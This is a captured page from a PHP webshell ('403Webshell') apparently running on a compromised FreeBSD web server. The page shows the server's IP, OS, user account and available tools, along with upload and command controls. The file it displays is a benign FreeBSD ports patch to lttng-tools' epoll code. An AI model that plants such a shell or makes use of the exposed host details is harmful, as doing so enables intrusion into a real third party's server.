403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/lttng-tools/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/lttng-tools/files/patch-src_common_compat_compat-epoll.c
--- src/common/compat/compat-epoll.c.orig	2017-01-13 22:20:45 UTC
+++ src/common/compat/compat-epoll.c
@@ -31,7 +31,11 @@
 
 #include "poll.h"
 
-unsigned int poll_max_size;
+unsigned int poll_max_size
+#if defined(__FreeBSD__)
+= DEFAULT_POLL_SIZE
+#endif
+;
 
 /*
  * Resize the epoll events structure of the new size.
@@ -258,6 +262,7 @@ int compat_epoll_set_max_size(void)
 	ssize_t size_ret;
 	char buf[64];
 
+#if !defined(__FreeBSD__)
 	fd = open(COMPAT_EPOLL_PROC_PATH, O_RDONLY);
 	if (fd < 0) {
 		retval = -1;
@@ -282,8 +287,10 @@ end_read:
 		PERROR("close");
 	}
 end:
+#endif
 	if (!poll_max_size) {
 		poll_max_size = DEFAULT_POLL_SIZE;
+		retval = 0;
 	}
 	DBG("epoll set max size is %d", poll_max_size);
 	return retval;

Youez - 2016 - github.com/yon3zu
LinuXploit